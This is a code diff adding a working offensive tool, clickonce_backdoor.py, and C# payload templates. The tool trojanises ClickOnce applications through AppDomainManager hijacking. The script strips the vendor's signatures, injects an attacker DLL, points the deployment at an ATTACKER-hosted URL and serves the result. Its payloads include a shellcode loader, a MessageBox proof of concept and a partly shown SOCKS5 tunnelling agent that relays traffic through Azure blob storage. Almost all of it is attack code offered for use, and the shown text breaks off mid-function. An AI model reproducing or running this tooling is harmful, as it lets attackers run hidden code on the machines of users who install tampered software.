if list(packages_dir.glob(pattern)):
|
||||
return
|
||||
nuget = find_nuget()
|
||||
if not nuget:
|
||||
raise FileNotFoundError(
|
||||
'nuget.exe not found. Need nuget.exe to install Roslyn compiler. '
|
||||
'Download from nuget.org and place next to script or add to PATH.')
|
||||
packages_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.log(' Framework csc.exe is C# 5 only — installing Roslyn compiler...','WARN')
|
||||
_run_cmd([str(nuget), 'install', 'Microsoft.Net.Compilers.Toolset',
|
||||
'-OutputDirectory', str(packages_dir)],
|
||||
'nuget install Microsoft.Net.Compilers.Toolset')
|
||||
self.log(' Installed Roslyn compiler','OK')
|
||||
|
||||
def _compile_cs(self, cs_path, dll_path, references=None):
|
||||
"""Compile a .cs file to a DLL using csc.exe."""
|
||||
packages_dir = Path(__file__).parent / 'packages'
|
||||
self._ensure_roslyn_compiler(packages_dir)
|
||||
csc = find_csc()
|
||||
if not csc:
|
||||
raise FileNotFoundError(
|
||||
'csc.exe not found. Ensure .NET Framework 4.x or Visual Studio is installed.')
|
||||
self.dbg(f'Using compiler: {csc}')
|
||||
cmd = [str(csc), '/t:library', f'/platform:{self.platform}',
|
||||
'/nologo', f'/out:{dll_path}']
|
||||
for ref in (references or []):
|
||||
cmd.append(f'/r:{ref}')
|
||||
cmd.append(str(cs_path))
|
||||
self.dbg(f'Compiling: {" ".join(cmd)}')
|
||||
_run_cmd(cmd, 'csc.exe compilation')
|
||||
self.log(f' Compiled: {dll_path.name} ({file_size(dll_path):,} bytes)','OK')
|
||||
|
||||
def _ilmerge(self, pre_dll, final_dll, merge_dlls, packages_dir):
|
||||
"""Merge assemblies using ILMerge."""
|
||||
ilmerge = packages_dir / 'ILMerge.3.0.41' / 'tools' / 'net452' / 'ILMerge.exe'
|
||||
if not ilmerge.exists():
|
||||
raise FileNotFoundError(
|
||||
f'ILMerge.exe not found at {ilmerge}. Run with --verbose to debug.')
|
||||
cmd = [str(ilmerge), f'/out:{final_dll}', '/t:library',
|
||||
str(pre_dll)] + [str(d) for d in merge_dlls] + ['/targetplatform:v4']
|
||||
self.dbg(f'ILMerge: {" ".join(cmd)}')
|
||||
_run_cmd(cmd, 'ILMerge')
|
||||
self.log(f' Merged: {final_dll.name} ({file_size(final_dll):,} bytes)','OK')
|
||||
|
||||
def run(self):
|
||||
try:
|
||||
self.step1(); self.step2(); self.step3(); self.step4()
|
||||
self.step5(); self.step6(); self.step7(); self.step8()
|
||||
self.step9(); self.step10(); self.summary()
|
||||
except Exception as e:
|
||||
self.log(f'Fatal: {e}','ERROR')
|
||||
if self.verbose: import traceback; traceback.print_exc()
|
||||
sys.exit(1)
|
||||
|
||||
def step1(self):
|
||||
self.log('Step 1: Discovering structure...')
|
||||
if self.input_path.is_file() and self.input_path.suffix=='.application':
|
||||
self.deploy_path = self.input_path; base = self.input_path.parent
|
||||
elif self.input_path.is_dir():
|
||||
fs = list(self.input_path.glob('*.application'))
|
||||
if not fs: raise FileNotFoundError('No .application file found')
|
||||
self.deploy_path = fs[0]; base = self.input_path
|
||||
else: raise FileNotFoundError(f'Not found: {self.input_path}')
|
||||
|
||||
self.log(f' Deployment manifest: {self.deploy_path.name}','OK')
|
||||
dtxt = read_xml(self.deploy_path)
|
||||
cb = xml_get_manifest_codebase(dtxt)
|
||||
if not cb: raise ValueError('No app manifest codebase found')
|
||||
self.app_path = base / cb.replace('\\',os.sep)
|
||||
if not self.app_path.exists(): raise FileNotFoundError(f'Not found: {self.app_path}')
|
||||
self.app_dir = self.app_path.parent
|
||||
self.log(f' App manifest: {self.app_path.name}','OK')
|
||||
|
||||
atxt = read_xml(self.app_path)
|
||||
self.exe_name = xml_get_exe(atxt) or self.app_path.name.replace('.manifest','')
|
||||
self.log(f' Target EXE: {self.exe_name}','OK')
|
||||
|
||||
# Extract vendor's publicKeyToken before we modify anything
|
||||
self.vendor_token = xml_get_vendor_token(dtxt)
|
||||
if self.vendor_token and self.vendor_token != '0000000000000000':
|
||||
self.log(f' Vendor publicKeyToken: {self.vendor_token}','OK')
|
||||
else:
|
||||
self.vendor_token = None
|
||||
self.log(f' No vendor publicKeyToken (unsigned)','OK')
|
||||
|
||||
safe = re.sub(r'[^a-zA-Z0-9_]','',self.exe_name.replace('.exe','')) or 'App'
|
||||
self.dll_name = self._dn or f'{safe}Helper'
|
||||
self.class_name = self._cn or f'{safe}Manager'
|
||||
self.log(f' DLL: {self.dll_name}.dll | Class: {self.class_name}','OK')
|
||||
self.use_deploy = xml_has_mapext(dtxt)
|
||||
|
||||
def step2(self):
|
||||
self.log('Step 2: Preparing workspace...')
|
||||
self.work_dir = Path('./clickonce_workspace').resolve()
|
||||
if self.work_dir.exists(): shutil.rmtree(self.work_dir)
|
||||
base = self.deploy_path.parent
|
||||
shutil.copytree(str(base), str(self.work_dir))
|
||||
self.deploy_path = self.work_dir / self.deploy_path.name
|
||||
rel = self.app_dir.relative_to(base)
|
||||
self.app_dir = self.work_dir / rel
|
||||
self.app_path = self.app_dir / self.app_path.name
|
||||
self.log(f' Workspace: {self.work_dir}','OK')
|
||||
|
||||
def step3(self):
|
||||
if not self.use_deploy:
|
||||
self.log('Step 3: No .deploy extensions'); return
|
||||
self.log('Step 3: Stripping .deploy...')
|
||||
n=0
|
||||
for f in self.app_dir.rglob('*.deploy'):
|
||||
f.rename(f.with_suffix('')); n+=1
|
||||
self.log(f' Stripped {n} files','OK')
|
||||
|
||||
def step4(self):
|
||||
self.log('Step 4: Preparing payload...')
|
||||
dst = self.app_dir / f'{self.dll_name}.dll'
|
||||
if self.payload_dll and self.payload_dll.exists():
|
||||
shutil.copy2(str(self.payload_dll), str(dst))
|
||||
self.log(f' Copied: {self.payload_dll.name} ({file_size(dst)} bytes)','OK')
|
||||
elif self.proxyblob:
|
||||
tpl = load_proxyblob_template()
|
||||
if not tpl:
|
||||
raise FileNotFoundError(
|
||||
'examples/ProxyBlobAgent.cs not found. Ensure examples/ is next to this script.')
|
||||
cs_src = tpl.replace('{CLASSNAME}', self.class_name).replace('{CONNSTRING}', self.proxyblob)
|
||||
cs = self.app_dir / f'{self.dll_name}.cs'
|
||||
cs.write_text(cs_src, encoding='utf-8')
|
||||
self.log(f' Generated ProxyBlob agent source: {cs.name}','OK')
|
||||
self.log(f' Connection string: {self.proxyblob[:32]}...','OK')
|
||||
|
||||
packages_dir = Path(__file__).parent / 'packages'
|
||||
self._ensure_nuget_packages(packages_dir)
|
||||
|
||||
bc_dll = packages_dir / 'BouncyCastle.Cryptography.2.5.1' / 'lib' / 'netstandard2.0' / 'BouncyCastle.Cryptography.dll'
|
||||
pre_dll = self.app_dir / f'{self.dll_name}_pre.dll'
|
||||
self._compile_cs(cs, pre_dll, references=[
|
||||
str(bc_dll), 'System.Net.Http.dll', 'netstandard.dll'])
|
||||
self._ilmerge(pre_dll, dst, [bc_dll], packages_dir)
|
||||
|
||||
pre_dll.unlink(missing_ok=True)
|
||||
cs.unlink(missing_ok=True)
|
||||
elif self.shellcode_path and self.shellcode_path.exists():
|
||||
tpl = load_sc_template()
|
||||
if not tpl:
|
||||
raise FileNotFoundError(
|
||||
'examples/ShellcodeLoader.cs not found. Ensure examples/ is next to this script.')
|
||||
with open(self.shellcode_path,'rb') as f: sc = f.read()
|
||||
cs_src = tpl.replace('{CLASSNAME}', self.class_name).replace('{SHELLCODE}', base64.b64encode(sc).decode())
|
||||
cs = self.app_dir / f'{self.dll_name}.cs'
|
||||
cs.write_text(cs_src, encoding='utf-8')
|
||||
self.log(f' Generated shellcode loader: {cs.name}','OK')
|
||||
self._compile_cs(cs, dst)
|
||||
cs.unlink(missing_ok=True)
|
||||
elif self.poc:
|
||||
tpl = load_poc_template()
|
||||
if not tpl:
|
||||
raise FileNotFoundError(
|
||||
'examples/MessageBoxPoC.cs not found. Ensure examples/ is next to this script.')
|
||||
cs_src = tpl.replace('{CLASSNAME}', self.class_name)
|
||||
cs = self.app_dir / f'{self.dll_name}.cs'
|
||||
cs.write_text(cs_src, encoding='utf-8')
|
||||
self.log(f' Generated PoC source: {cs.name}','OK')
|
||||
self._compile_cs(cs, dst)
|
||||
cs.unlink(missing_ok=True)
|
||||
else: raise ValueError('Need --payload, --shellcode, --poc, or --proxyblob')
|
||||
self.dll_path = dst
|
||||
|
||||
def step5(self):
|
||||
self.log('Step 5: Modifying .exe.config...')
|
||||
cfgname = f'{self.exe_name}.config'
|
||||
cfgpath = self.app_dir / cfgname
|
||||
existing = parse_existing_cfg(cfgpath) if cfgpath.exists() else ''
|
||||
cfgpath.write_text(CFG_TPL.format(asm=self.dll_name,cls=self.class_name,existing=existing),
|
||||
encoding='utf-8')
|
||||
self.cfg_path = cfgpath
|
||||
self.log(f' Wrote: {cfgname} ({file_size(cfgpath)} bytes)','OK')
|
||||
|
||||
def step6(self):
|
||||
self.log('Step 6: Updating app manifest (raw text)...')
|
||||
t = read_xml(self.app_path)
|
||||
t = xml_zero_pkt(t, self.vendor_token)
|
||||
t = xml_rm_sigs(t)
|
||||
self.log(f' Cleaned signatures & zeroed vendor publicKeyToken','OK')
|
||||
|
||||
cfgname = f'{self.exe_name}.config'
|
||||
csz = file_size(self.cfg_path)
|
||||
if xml_file_exists(t, cfgname):
|
||||
t = xml_update_file(t, cfgname, csz)
|
||||
self.log(f' Updated: {cfgname} ({csz} bytes)','OK')
|
||||
else:
|
||||
t = xml_add_file(t, cfgname, csz)
|
||||
self.log(f' Added: {cfgname} ({csz} bytes)','OK')
|
||||
|
||||
dn = f'{self.dll_name}.dll'; dsz = file_size(self.dll_path)
|
||||
if xml_file_exists(t, dn):
|
||||
t = xml_update_file(t, dn, dsz)
|
||||
self.log(f' Updated: {dn} ({dsz} bytes)','OK')
|
||||
else:
|
||||
t = xml_add_file(t, dn, dsz)
|
||||
self.log(f' Added: {dn} ({dsz} bytes)','OK')
|
||||
|
||||
write_xml(self.app_path, t)
|
||||
self.log(f' Saved ({file_size(self.app_path)} bytes)','OK')
|
||||
|
||||
def step7(self):
|
||||
self.log('Step 7: Updating deployment manifest (raw text)...')
|
||||
t = read_xml(self.deploy_path)
|
||||
t = xml_zero_pkt(t, self.vendor_token)
|
||||
t = xml_rm_sigs(t)
|
||||
self.log(f' Cleaned signatures & zeroed vendor publicKeyToken','OK')
|
||||
|
||||
purl = f'{self.url}/{self.deploy_path.name}'
|
||||
t = xml_update_provider(t, purl)
|
||||
self.log(f' Provider: {purl}','OK')
|
||||
|
||||
msz = file_size(self.app_path)
|
||||
mhash = sha256_base64(self.app_path)
|
||||
t = xml_update_dep_size(t, msz)
|
||||
t = xml_update_dep_hash(t, mhash)
|
||||
self.log(f' Manifest ref: size={msz} hash={mhash[:32]}...','OK')
|
||||
|
||||
write_xml(self.deploy_path, t)
|
||||
self.log(f' Saved ({file_size(self.deploy_path)} bytes)','OK')
|
||||
|
||||
def step8(self):
|
||||
if not self.use_deploy:
|
||||
self.log('Step 8: No .deploy needed'); return
|
||||
self.log('Step 8: Applying .deploy...')
|
||||
n=0
|
||||
for f in self.app_dir.rglob('*'):
|
||||
if f.is_dir(): continue
|
||||
if f.suffix in ['.manifest','.application','.deploy','.cs','.py','.txt','.md']: continue
|
||||
f.rename(f.parent/(f.name+'.deploy')); n+=1
|
||||
self.log(f' Applied to {n} files','OK')
|
||||
|
||||
def step9(self):
|
||||
self.log('Step 9: Building output...')
|
||||
if self.output_dir.exists(): shutil.rmtree(self.output_dir)
|
||||
shutil.copytree(str(self.work_dir), str(self.output_dir))
|
||||
self.log(f' Output: {self.output_dir}','OK')
|
||||
for f in sorted(self.output_dir.rglob('*')):
|
||||
if f.is_file():
|
||||
self.log(f' {f.relative_to(self.output_dir)} ({file_size(f):,} bytes)')
|
||||
|
||||
def step10(self):
|
||||
self.log('Step 10: Generating .appref-ms...')
|
||||
an = self.deploy_path.name
|
||||
c = f'{self.url}/{an}#{an}, Culture=neutral, PublicKeyToken=0000000000000000, processorArchitecture=x86'
|
||||
p = self.output_dir / an.replace('.application','.appref-ms')
|
||||
with open(p,'wb') as f:
|
||||
f.write(b'\xff\xfe')
|
||||
f.write(c.encode('utf-16-le'))
|
||||
self.log(f' Generated: {p.name}','OK')
|
||||
|
||||
def summary(self):
|
||||
an = self.deploy_path.name
|
||||
print(f"\n{'='*65}")
|
||||
print(f" BACKDOORING COMPLETE")
|
||||
print(f"{'='*65}")
|
||||
|
||||
print(f"\n Output: {self.output_dir}")
|
||||
print(f" URL: {self.url}/{an}")
|
||||
print(f" DLL: {self.dll_name}.dll")
|
||||
print(f" Class: {self.class_name}")
|
||||
print(f" Platform: {self.platform}")
|
||||
if self.proxyblob:
|
||||
print(f" Payload: ProxyBlob SOCKS5 agent")
|
||||
print(f" ConnStr: {self.proxyblob[:40]}...")
|
||||
elif self.poc:
|
||||
print(f" Payload: MessageBox PoC")
|
||||
elif self.shellcode_path:
|
||||
print(f" Payload: Shellcode loader")
|
||||
|
||||
print(f"\n Serve: python {sys.argv[0]} serve --port 80 --dir {self.output_dir}")
|
||||
print(f"\n Cache: rundll32 dfshim CleanOnlineAppCache\n")
|
||||
|
||||
def serve(d, port=80, bind='0.0.0.0'):
|
||||
import http.server, socketserver
|
||||
os.chdir(d)
|
||||
h = http.server.SimpleHTTPRequestHandler
|
||||
h.extensions_map.update({'.application':'application/x-ms-application',
|
||||
'.manifest':'application/x-ms-manifest','.deploy':'application/octet-stream'})
|
||||
print(f' [*] Serving {d} on {bind}:{port}\n')
|
||||
with socketserver.TCPServer((bind,port),h) as s:
|
||||
try: s.serve_forever()
|
||||
except KeyboardInterrupt: print('\n[*] Stopped.')
|
||||
|
||||
# --- CLI ---
|
||||
|
||||
_B = '\033[1m'; _G = '\033[92m'; _C = '\033[96m'; _Y = '\033[93m'
|
||||
_D = '\033[90m'; _RE = '\033[91m'; _R = '\033[0m'
|
||||
|
||||
USAGE_TEXT = f"""\
|
||||
{_B}Usage:{_R}
|
||||
|
||||
{_G}Pre-compiled DLL payload:{_R}
|
||||
python clickonce_backdoor.py {_C}--input{_R} {_Y}./App.application{_R} {_C}--url{_R} {_Y}http://ATTACKER{_R} {_C}--payload{_R} {_Y}payload.dll{_R}
|
||||
|
||||
{_G}PoC - MessageBox (validates injection):{_R}
|
||||
python clickonce_backdoor.py {_C}--input{_R} {_Y}./App.application{_R} {_C}--url{_R} {_Y}http://ATTACKER{_R} {_C}--poc{_R}
|
||||
|
||||
{_G}ProxyBlob SOCKS5 agent:{_R}
|
||||
python clickonce_backdoor.py {_C}--input{_R} {_Y}./App.application{_R} {_C}--url{_R} {_Y}http://ATTACKER{_R} {_C}--proxyblob{_R} {_Y}<base64-conn-string>{_R}
|
||||
|
||||
{_G}Shellcode loader:{_R}
|
||||
python clickonce_backdoor.py {_C}--input{_R} {_Y}./App.application{_R} {_C}--url{_R} {_Y}http://ATTACKER{_R} {_C}--shellcode{_R} {_Y}beacon.bin{_R}
|
||||
|
||||
{_G}Serve output directory:{_R}
|
||||
python clickonce_backdoor.py {_G}serve{_R} {_C}--port{_R} {_Y}80{_R} {_C}--dir{_R} {_Y}./output{_R}
|
||||
"""
|
||||
|
||||
class _CliParser(argparse.ArgumentParser):
|
||||
"""ArgumentParser with colored usage examples."""
|
||||
|
||||
def format_help(self):
|
||||
formatter = self._get_formatter()
|
||||
for ag in self._action_groups:
|
||||
formatter.start_section(ag.title)
|
||||
formatter.add_arguments(ag._group_actions)
|
||||
formatter.end_section()
|
||||
return USAGE_TEXT + '\n' + formatter.format_help()
|
||||
|
||||
def error(self, message):
|
||||
sys.stderr.write(USAGE_TEXT + '\n')
|
||||
sys.stderr.write(f' {_RE}error:{_R} {message}\n\n')
|
||||
sys.exit(2)
|
||||
|
||||
def main():
|
||||
print(BANNER, flush=True)
|
||||
p = _CliParser()
|
||||
sp = p.add_subparsers(dest='cmd', help=argparse.SUPPRESS)
|
||||
sv = sp.add_parser('serve')
|
||||
sv.add_argument('--port','-p',type=int,default=80)
|
||||
sv.add_argument('--dir','-d',default='./output')
|
||||
sv.add_argument('--bind','-b',default='0.0.0.0')
|
||||
p.add_argument('--input','-i',help='.application file or directory')
|
||||
p.add_argument('--url','-u',help='Hosting URL')
|
||||
p.add_argument('--output','-o',default='./output')
|
||||
p.add_argument('--payload',help='Compiled payload DLL',dest='payload_path')
|
||||
p.add_argument('--shellcode','-s',help='Raw shellcode file')
|
||||
p.add_argument('--poc',action='store_true')
|
||||
p.add_argument('--proxyblob',help='ProxyBlob connection string (base64)')
|
||||
p.add_argument('--dll-name',default=None)
|
||||
p.add_argument('--class-name',default=None)
|
||||
p.add_argument('--platform',choices=['x86','x64','anycpu'],default='x86',
|
||||
help='Compiler platform target (default: x86)')
|
||||
p.add_argument('--silent','-q',action='store_true',
|
||||
help='Suppress step output, show only banner and summary')
|
||||
p.add_argument('--verbose','-v',action='store_true')
|
||||
a = p.parse_args()
|
||||
|
||||
if a.cmd == 'serve': serve(a.dir,a.port,a.bind); return
|
||||
if not a.input or not a.url: p.error('--input and --url required')
|
||||
if not a.payload_path and not a.shellcode and not a.poc and not a.proxyblob:
|
||||
p.error('Need --payload, --shellcode, --poc, or --proxyblob')
|
||||
|
||||
ClickOnceBackdoor(a.input, a.url, a.output, a.payload_path, a.shellcode,
|
||||
a.poc, a.dll_name, a.class_name, a.verbose, a.proxyblob,
|
||||
a.platform, a.silent).run()
|
||||
|
||||
if __name__=='__main__': main()
|
||||
@@ -0,0 +1,37 @@
|
||||
/*
|
||||
* ClickOnce AppDomainManager Injection — MessageBox PoC
|
||||
* =====================================================
|
||||
* Proof-of-concept payload that displays a MessageBox when the
|
||||
* target ClickOnce application loads. Confirms code execution
|
||||
* via AppDomainManager hijacking without any network activity.
|
||||
*
|
||||
* Placeholders (replaced by clickonce_backdoor.py):
|
||||
* {CLASSNAME} — AppDomainManager class name (e.g. SmartCloudManager)
|
||||
*
|
||||
* Compile:
|
||||
* csc.exe /t:library /platform:x86 /out:Payload.dll MessageBoxPoC.cs
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public sealed class {CLASSNAME} : AppDomainManager
|
||||
{
|
||||
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
|
||||
{
|
||||
Loader.Execute();
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public class Loader
|
||||
{
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto)]
|
||||
public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type);
|
||||
|
||||
public static bool Execute()
|
||||
{
|
||||
MessageBox(IntPtr.Zero, "AppDomainManager Injection - PoC", "ClickOnce Backdoor", 0);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,566 @@
|
||||
/*
|
||||
* ProxyBlob Agent — C# Port for ClickOnce AppDomainManager Injection
|
||||
* ====================================================================
|
||||
* Faithful port of the Go agent from github.com/quarkslab/proxyblob
|
||||
*
|
||||
* This file is the DLL variant intended for ClickOnce backdooring via
|
||||
* AppDomainManager hijacking. For standalone testing, use ProxyBlobStandalone.cs.
|
||||
*
|
||||
* Placeholders (replaced by clickonce_backdoor.py or manually):
|
||||
* {CLASSNAME} — AppDomainManager class name (must match .exe.config)
|
||||
* {CONNSTRING} — Base64 connection string from ProxyBlob proxy `create` command
|
||||
*
|
||||
* Connection string: base64( https://<account>.blob.core.windows.net/<uuid>?<sas> )
|
||||
*
|
||||
* ── DEPENDENCIES ──
|
||||
* BouncyCastle.Cryptography (NuGet, netstandard2.0 target)
|
||||
* NO Azure SDK — uses raw HTTP REST API with SAS token auth (faced some issue with Azure SDK)
|
||||
*
|
||||
* ── COMPILE ──
|
||||
* nuget install BouncyCastle.Cryptography -Version 2.5.1 -OutputDirectory packages
|
||||
* csc.exe /t:library /platform:anycpu /out:MyHelper.dll ProxyBlobAgent.cs ^
|
||||
* /r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
|
||||
* /r:System.Net.Http.dll /r:netstandard.dll
|
||||
*
|
||||
* Then merge into single DLL:
|
||||
* ILMerge /out:MyHelperFinal.dll /t:library MyHelper.dll ^
|
||||
* packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
|
||||
* /targetplatform:v4
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Http;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
using Org.BouncyCastle.Crypto;
|
||||
using Org.BouncyCastle.Crypto.Agreement;
|
||||
using Org.BouncyCastle.Crypto.Digests;
|
||||
using Org.BouncyCastle.Crypto.Engines;
|
||||
using Org.BouncyCastle.Crypto.Generators;
|
||||
using Org.BouncyCastle.Crypto.Macs;
|
||||
using Org.BouncyCastle.Crypto.Modes;
|
||||
using Org.BouncyCastle.Crypto.Parameters;
|
||||
using Org.BouncyCastle.Security;
|
||||
|
||||
// ═══════════════════════════════════════════════════════════════════
|
||||
// AppDomainManager shim — entry point for ClickOnce hijacking
|
||||
// The host .exe's .config sets this class as the AppDomainManager.
|
||||
// InitializeNewDomain fires before the app's Main().
|
||||
//
|
||||
// IMPORTANT: Uses a foreground Thread (not Task.Run) so the CLR
|
||||
// won't terminate the process while the agent is still running.
|
||||
// Background threads (Task.Run/ThreadPool) don't prevent exit.
|
||||
// ═══════════════════════════════════════════════════════════════════
|
||||
public sealed class {CLASSNAME} : AppDomainManager
|
||||
{
|
||||
private static int _init = 0;
|
||||
public override void InitializeNewDomain(AppDomainSetup info)
|
||||
{
|
||||
if (Interlocked.Exchange(ref _init, 1) != 0) return;
|
||||
var t = new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
Thread.Sleep(2000);
|
||||
ProxyBlob.Agent.Run("{CONNSTRING}");
|
||||
}
|
||||
catch { }
|
||||
});
|
||||
t.IsBackground = false; // foreground — keeps process alive
|
||||
t.Start();
|
||||
}
|
||||
}
|
||||
|
||||
namespace ProxyBlob
|
||||
{
|
||||
static class Proto
|
||||
{
|
||||
public const byte CmdNew=1, CmdAck=2, CmdData=3, CmdClose=4;
|
||||
public const int CommandSize=1, UUIDSize=16, DataLengthSize=4;
|
||||
public const int HeaderSize = CommandSize + UUIDSize + DataLengthSize;
|
||||
public const byte S5=0x05, NoAuth=0x00, Connect=0x01;
|
||||
public const byte AIPv4=0x01, ADomain=0x03, AIPv6=0x04;
|
||||
public const byte ROk=0x00, RFail=0x01, RNetUnreach=0x03, RHostUnreach=0x04;
|
||||
public const byte RConnRefused=0x05, RTTLExpired=0x06, RCmdNotSup=0x07, RAddrNotSup=0x08;
|
||||
public static readonly byte[] InfoKey = { 0xDE, 0xAD, 0xB1, 0x0B };
|
||||
}
|
||||
|
||||
class Pkt
|
||||
{
|
||||
public byte Cmd;
|
||||
public byte[] ConnId;
|
||||
public byte[] Data;
|
||||
|
||||
public byte[] Encode()
|
||||
{
|
||||
int dlen = Data != null ? Data.Length : 0;
|
||||
byte[] buf = new byte[Proto.HeaderSize + dlen];
|
||||
buf[0] = Cmd;
|
||||
Buffer.BlockCopy(ConnId, 0, buf, 1, 16);
|
||||
buf[17]=(byte)(dlen>>24); buf[18]=(byte)(dlen>>16);
|
||||
buf[19]=(byte)(dlen>>8); buf[20]=(byte)(dlen);
|
||||
if (dlen > 0) Buffer.BlockCopy(Data, 0, buf, Proto.HeaderSize, dlen);
|
||||
return buf;
|
||||
}
|
||||
|
||||
public static Pkt Decode(byte[] raw)
|
||||
{
|
||||
if (raw == null || raw.Length < Proto.HeaderSize) return null;
|
||||
byte cmd = raw[0];
|
||||
if (cmd < Proto.CmdNew || cmd > Proto.CmdClose) return null;
|
||||
byte[] id = new byte[16];
|
||||
Buffer.BlockCopy(raw, 1, id, 0, 16);
|
||||
uint dl = (uint)((raw[17]<<24)|(raw[18]<<16)|(raw[19]<<8)|raw[20]);
|
||||
if ((uint)raw.Length != (uint)Proto.HeaderSize + dl) return null;
|
||||
byte[] data = null;
|
||||
if (dl > 0) { data = new byte[dl]; Buffer.BlockCopy(raw, Proto.HeaderSize, data, 0, (int)dl); }
|
||||
return new Pkt { Cmd = cmd, ConnId = id, Data = data };
|
||||
}
|
||||
}
|
||||
|
||||
class Conn
|
||||
{
|
||||
public byte[] Id;
|
||||
public byte[] Key;
|
||||
public BlockingCollection<byte[]> ReadBuf = new BlockingCollection<byte[]>(128);
|
||||
public TcpClient Tcp;
|
||||
public CancellationTokenSource Cts = new CancellationTokenSource();
|
||||
int _dead;
|
||||
public bool Dead { get { return Interlocked.CompareExchange(ref _dead, 0, 0) != 0; } }
|
||||
public void Kill()
|
||||
{
|
||||
if (Interlocked.Exchange(ref _dead, 1) != 0) return;
|
||||
Cts.Cancel();
|
||||
try { Tcp?.Close(); } catch { }
|
||||
try { ReadBuf.CompleteAdding(); } catch { }
|
||||
}
|
||||
public string IdKey { get { return Convert.ToBase64String(Id); } }
|
||||
public static string MakeKey(byte[] id) { return Convert.ToBase64String(id); }
|
||||
}
|
||||
|
||||
static class Crypto
|
||||
{
|
||||
static readonly SecureRandom Rng = new SecureRandom();
|
||||
|
||||
public static void GenX25519(out byte[] priv, out byte[] pub)
|
||||
{
|
||||
var kpg = new X25519KeyPairGenerator();
|
||||
kpg.Init(new X25519KeyGenerationParameters(Rng));
|
||||
var kp = kpg.GenerateKeyPair();
|
||||
priv = ((X25519PrivateKeyParameters)kp.Private).GetEncoded();
|
||||
pub = ((X25519PublicKeyParameters)kp.Public).GetEncoded();
|
||||
}
|
||||
|
||||
public static byte[] DeriveKey(byte[] privRaw, byte[] peerPubRaw, byte[] nonce)
|
||||
{
|
||||
var priv = new X25519PrivateKeyParameters(privRaw, 0);
|
||||
var peer = new X25519PublicKeyParameters(peerPubRaw, 0);
|
||||
var agree = new X25519Agreement(); agree.Init(priv);
|
||||
byte[] ss = new byte[agree.AgreementSize];
|
||||
agree.CalculateAgreement(peer, ss, 0);
|
||||
return HkdfSha3256(ss, nonce, 32);
|
||||
}
|
||||
|
||||
static byte[] HkdfSha3256(byte[] ikm, byte[] salt, int outputLen)
|
||||
{
|
||||
byte[] prk = HmacSha3256(salt, ikm);
|
||||
return HmacSha3256(prk, new byte[] { 0x01 });
|
||||
}
|
||||
|
||||
static byte[] HmacSha3256(byte[] key, byte[] data)
|
||||
{
|
||||
var hmac = new HMac(new Sha3Digest(256));
|
||||
hmac.Init(new KeyParameter(key));
|
||||
hmac.BlockUpdate(data, 0, data.Length);
|
||||
byte[] r = new byte[hmac.GetMacSize()];
|
||||
hmac.DoFinal(r, 0);
|
||||
return r;
|
||||
}
|
||||
|
||||
public static byte[] Encrypt(byte[] key, byte[] plaintext)
|
||||
{
|
||||
byte[] nonce = new byte[24]; Rng.NextBytes(nonce);
|
||||
byte[] subkey = HChaCha20(key, nonce);
|
||||
byte[] ietfNonce = new byte[12];
|
||||
Buffer.BlockCopy(nonce, 16, ietfNonce, 4, 8);
|
||||
var aead = new ChaCha20Poly1305();
|
||||
aead.Init(true, new ParametersWithIV(new KeyParameter(subkey), ietfNonce));
|
||||
byte[] ct = new byte[aead.GetOutputSize(plaintext.Length)];
|
||||
int len = aead.ProcessBytes(plaintext, 0, plaintext.Length, ct, 0);
|
||||
len += aead.DoFinal(ct, len);
|
||||
byte[] result = new byte[24 + len];
|
||||
Buffer.BlockCopy(nonce, 0, result, 0, 24);
|
||||
Buffer.BlockCopy(ct, 0, result, 24, len);
|
||||
return result;
|
||||
}
|
||||
|
||||
public static byte[] Decrypt(byte[] key, byte[] blob)
|
||||
{
|
||||
if (blob == null || blob.Length < 40) return null;
|
||||
byte[] nonce = new byte[24]; Buffer.BlockCopy(blob, 0, nonce, 0, 24);
|
||||
byte[] ct = new byte[blob.Length - 24]; Buffer.BlockCopy(blob, 24, ct, 0, ct.Length);
|
||||
try
|
||||
{
|
||||
byte[] subkey = HChaCha20(key, nonce);
|
||||
byte[] ietfNonce = new byte[12];
|
||||
Buffer.BlockCopy(nonce, 16, ietfNonce, 4, 8);
|
||||
var aead = new ChaCha20Poly1305();
|
||||
aead.Init(false, new ParametersWithIV(new KeyParameter(subkey), ietfNonce));
|
||||
byte[] plain = new byte[aead.GetOutputSize(ct.Length)];
|
||||
int len = aead.ProcessBytes(ct, 0, ct.Length, plain, 0);
|
||||
len += aead.DoFinal(plain, len);
|
||||
byte[] result = new byte[len];
|
||||
Buffer.BlockCopy(plain, 0, result, 0, len);
|
||||
return result;
|
||||
}
|
||||
catch { return null; }
|
||||
}
|
||||
|
||||
static byte[] HChaCha20(byte[] key, byte[] nonce)
|
||||
{
|
||||
uint[] s = new uint[16];
|
||||
s[0]=0x61707865; s[1]=0x3320646e; s[2]=0x79622d32; s[3]=0x6b206574;
|
||||
s[4]=LE32(key,0); s[5]=LE32(key,4); s[6]=LE32(key,8); s[7]=LE32(key,12);
|
||||
s[8]=LE32(key,16); s[9]=LE32(key,20); s[10]=LE32(key,24); s[11]=LE32(key,28);
|
||||
s[12]=LE32(nonce,0); s[13]=LE32(nonce,4); s[14]=LE32(nonce,8); s[15]=LE32(nonce,12);
|
||||
for (int i = 0; i < 10; i++)
|
||||
{
|
||||
QR(s,0,4,8,12); QR(s,1,5,9,13); QR(s,2,6,10,14); QR(s,3,7,11,15);
|
||||
QR(s,0,5,10,15); QR(s,1,6,11,12); QR(s,2,7,8,13); QR(s,3,4,9,14);
|
||||
}
|
||||
byte[] sk = new byte[32];
|
||||
PLE32(sk,0,s[0]); PLE32(sk,4,s[1]); PLE32(sk,8,s[2]); PLE32(sk,12,s[3]);
|
||||
